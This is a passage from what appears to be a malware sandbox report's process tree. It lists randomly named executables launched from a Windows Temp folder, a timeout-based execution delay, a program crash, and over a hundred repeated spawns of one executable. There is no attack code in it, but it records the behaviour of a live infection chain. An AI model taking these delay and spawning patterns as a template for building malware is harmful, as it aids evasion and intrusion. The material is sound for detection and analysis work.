        PID:4980
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        7⤵
        Delays execution with timeout.exe
        
        PID:4828
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1544 -s 1952
        6⤵
        Program crash
        
        PID:3056
    - - C:\Users\Admin\AppData\Local\Temp\1014365001\W4KLQf7.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014365001\W4KLQf7.exe"
        5⤵
        
        PID:5112
    - - C:\Users\Admin\AppData\Local\Temp\1014369001\4ea4ea494b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014369001\4ea4ea494b.exe"
        5⤵
        
        PID:1792
    - - C:\Users\Admin\AppData\Local\Temp\1014370001\9aa5ffbcc0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014370001\9aa5ffbcc0.exe"
        5⤵
        
        PID:4576
    - - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        5⤵
        
        PID:3196
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1540
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3064
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1296
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2836
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4652
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2424
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3328
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:968
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4320
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2192
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2056
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3472
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4936
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3184
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:116
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:224
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4524
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:524
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3704
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2864
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1616
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5080
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3536
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3056
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3192
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1464
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1544
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3044
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2088
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2132
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1536
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4420
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3920
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1960
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3924
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4360
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:212
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1688
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4708
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4928
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2604
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3508
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2972
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4132
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3264
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1964
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3160
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4816
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3872
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3976
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2960
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5052
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:776
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3712
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2672
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4076
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4064
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3780
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2100
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2860
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1940
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3956
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3860
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4140
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4024
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2548
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3420
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3592
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:904
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2248
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2520
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:836
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:516
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3844
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2756
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3480
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2608
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3388
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4404
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3428
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1680
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4232
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4352
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4836
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3636
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2976
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4584
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3092
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1996
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4036
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:2292
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:704
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1504
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4884
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3992
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4316
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1828
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:892
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3764
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3172
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:4980
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:744
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:756
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5008
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:3968
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1228
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:1884
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5128
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5136
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5144
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5152
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5160
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5168
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5176
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5184
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5192
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5200
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5208
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5216
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5224
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5232
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5240
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5248
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5256
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5264
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5272
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5280
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5288
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5296
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5304
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5312
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5320
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5328
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5336
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5344
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5352
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5360
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5368
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5376
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5384
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5392
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5400
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5408
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5416
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5424
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5432
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5440
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5448
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5456
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe"
        6⤵
        
        PID:5464
      - C:\Users\Admin\AppData\Local\Temp\1014371001\25fa703ad3.exe
        
